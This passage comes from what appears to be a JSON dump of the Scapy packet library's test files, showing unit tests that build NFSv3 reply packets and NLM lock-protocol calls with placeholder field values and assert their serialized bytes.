mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333'\n\npkt = READDIR_Reply(\n    status=0,\n    attributes_follow=1,\n    attributes=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    verifier=0xffffffffffffffff,\n    value_follows=1,\n    files=[\n        File_From_Dir(\n            fileid=1,\n            filename=Object_Name(\n                length=5,\n                _name='file1',\n                fill='\\x00\\x00\\x00'\n            ),\n            cookie=0xaaaaaaaaaaaaaaaa,\n            value_follows=0\n        )\n    ],\n    eof=1\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x05file1\\x00\\x00\\x00\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\npkt = RENAME_Reply(\n    status=0,\n    af_before_f=1,\n    attributes_before_f=WCC_Attr(\n        size=0xa,\n        mtime_s=0xffffffff,\n        mtime_ns=0xeeeeeeee,\n        ctime_s=0xdddddddd,\n        ctime_ns=0xcccccccc\n    ),\n    af_after_f=1,\n    attributes_after_f=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    af_before_t=1,\n    attributes_before_t=WCC_Attr(\n        size=0xa,\n        mtime_s=0xffffffff,\n        mtime_ns=0xeeeeeeee,\n        ctime_s=0xdddddddd,\n        ctime_ns=0xcccccccc\n    ),\n    af_after_t=1,\n    attributes_after_t=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333'\n\npkt = LINK_Reply(\n    status=0,\n    af_file=1,\n    file_attributes=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    af_link_before=1,\n    link_attributes_before=WCC_Attr(\n        size=0xa,\n        mtime_s=0xffffffff,\n        mtime_ns=0xeeeeeeee,\n        ctime_s=0xdddddddd,\n        ctime_ns=0xcccccccc\n    ),\n    af_link_after=1,\n    link_attributes_after=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333'\n\npkt = RMDIR_Reply(\n    status=0,\n    af_before=1,\n    attributes_before=WCC_Attr(\n        size=0xa,\n        mtime_s=0xffffffff,\n        mtime_ns=0xeeeeeeee,\n        ctime_s=0xdddddddd,\n        ctime_ns=0xcccccccc\n    ),\n    af_after=1,\n    attributes_after=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333'\n\npkt = READLINK_Reply(\n    status=0,\n    attributes_follow=1,\n    attributes=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    filename=Object_Name(\n        length=4,\n        _name='file'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x04file'\n\npkt = READ_Reply(\n    status=0,\n    attributes_follow=1,\n    attributes=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    count=8,\n    eof=1,\n    data_length=8,\n    data='\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07'\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07'\n\npkt = MKDIR_Reply(\n    status=0,\n    handle_follows=1,\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    attributes_follow=1,\n    attributes=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    af_before=1,\n    dir_attributes_before=WCC_Attr(\n        size=0xa,\n        mtime_s=0xffffffff,\n        mtime_ns=0xeeeeeeee,\n        ctime_s=0xdddddddd,\n        ctime_ns=0xcccccccc\n    ),\n    af_after=1,\n    dir_attributes_after=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333'\n\npkt = SYMLINK_Reply(\n    status=0,\n    handle_follows=1,\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    attributes_follow=1,\n    attributes=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    af_before=1,\n    dir_attributes_before=WCC_Attr(\n        size=0xa,\n        mtime_s=0xffffffff,\n        mtime_ns=0xeeeeeeee,\n        ctime_s=0xdddddddd,\n        ctime_ns=0xcccccccc\n    ),\n    af_after=1,\n    dir_attributes_after=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333'\n"
  },
  {
    "path": "test/contrib/nlm.uts",
    "content": "% Tests for nlm module\n############\n############\n+  Packet creation tests\n\n= Create subpackets\nFile_Object()\nNLM4_Cookie()\nObject_Name()\n\n= Create nlm Calls\nSHARE_Call()\nUNSHARE_Call()\nLOCK_Call()\nUNLOCK_Call()\nGRANTED_MSG_Call()\nGRANTED_RES_Call()\nCANCEL_Call()\nTEST_Call()\n\n= Create nlm Replies\nSHARE_Reply()\nUNSHARE_Reply()\nLOCK_Reply()\nUNLOCK_Reply()\nGRANTED_MSG_Reply()\nGRANTED_RES_Reply()\nCANCEL_Reply()\nTEST_Reply()\n\n+ Layer bindings tests\n\n= RPC Layer Bindings for NLM Calls\nfrom scapy.contrib.oncrpc import *\npkt = RPC()/RPC_Call()/SHARE_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 20)\npkt = RPC()/RPC_Call()/UNSHARE_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 21)\npkt = RPC()/RPC_Call()/LOCK_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 2)\npkt = RPC()/RPC_Call()/UNLOCK_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 4)\npkt = RPC()/RPC_Call()/GRANTED_MSG_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 10)\npkt = RPC()/RPC_Call()/GRANTED_RES_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 15)\npkt = RPC()/RPC_Call()/CANCEL_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 3)\npkt = RPC()/RPC_Call()/TEST_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 1)\n\n= RPC Layer Bindings for NLM Replies\nfrom scapy.contrib.oncrpc import *\npkt = RPC()/RPC_Reply()/SHARE_Reply()\nassert pkt.mtype == 1\npkt = RPC()/RPC_Reply()/UNSHARE_Reply()\nassert pkt.mtype == 1\npkt = RPC()/RPC_Reply()/LOCK_Reply()\nassert pkt.mtype == 1\npkt = RPC()/RPC_Reply()/UNLOCK_Reply()\nassert pkt.mtype == 1\npkt = RPC()/RPC_Reply()/GRANTED_MSG_Reply()\nassert pkt.mtype == 1\npkt = RPC()/RPC_Reply()/GRANTED_RES_Reply()\nassert pkt.mtype == 1\npkt = RPC()/RPC_Reply()/CANCEL_Reply()\nassert pkt.mtype == 1\npkt = RPC()/RPC_Reply()/TEST_Reply()\nassert pkt.mtype == 1\n\n+ Test Built Packets Against Raw Strings\n\n= Built NLM Calls vs Raw Strings\npkt = SHARE_Call(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    caller=Object_Name(\n        length=6,\n        _name='CALLER',\n        fill='\\x00\\x00'\n    ),\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    owner=Object_Name(\n        length=5,\n        _name='OWNER',\n        fill='\\x00'\n    ),\n    mode=1,\n    access=2,\n    reclaim='YES'\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x06CALLER\\x00\\x00\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x05OWNER\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01'\n\npkt = UNSHARE_Call(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    caller=Object_Name(\n        length=6,\n        _name='CALLER',\n        fill='\\x00\\x00'\n    ),\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    owner=Object_Name(\n        length=5,\n        _name='OWNER',\n        fill='\\x00'\n    ),\n    mode=1,\n    access=2,\n    reclaim='YES'\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x06CALLER\\x00\\x00\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x05OWNER\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01'\n\npkt = LOCK_Call(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    block='YES',\n    exclusive='YES',\n    caller=Object_Name(\n        length=6,\n        _name='CALLER',\n        fill='\\x00\\x00'\n    ),\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    owner=Object_Name(\n        length=5,\n        _name='OWNER',\n        fill='\\x00'\n    ),\n    svid=1,\n    l_offset=2,\n    l_len=3,\n    reclaim=1,\n    state=4\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06CALLER\\x00\\x00\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x05OWNER\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04'\n\npkt = UNLOCK_Call(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    caller=Object_Name(\n        length=6,\n        _name='CALLER',\n        fill='\\x00\\x00'\n    ),\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    owner=Object_Name(\n        length=5,\n        _name='OWNER',\n        fill='\\x00'\n    ),\n    svid=1,\n    l_offset=2,\n    l_len=3\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x06CALLER\\x00\\x00\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x05OWNER\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03'\n\npkt = GRANTED_MSG_Call(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    exclusive='YES',\n    caller=Object_Name(\n        length=6,\n        _name='CALLER',\n        fill='\\x00\\x00'\n    ),\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    owner=Object_Name(\n        length=5,\n        _name='OWNER',\n        fill='\\x00'\n    ),\n    svid=1,\n    l_offset=2,\n    l_len=3\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06CALLER\\x00\\x00\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x05OWNER\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03'\n\npkt = GRANTED_RES_Call(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    status='NLM4_BLOCKED'\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x03'\n\npkt = CANCEL_Call(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    block='YES',\n    exclusive='YES',\n    caller=Object_Name(\n        length=6,\n        _name='CALLER',\n        fill='\\x00\\x00'\n    ),\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    owner=Object_Name(\n        length=5,\n        _name='OWNER',\n        fill='\\x00'\n    ),\n    svid=1,\n    l_offset=2,\n    l_len=3\n)\nassert bytes(pkt) == 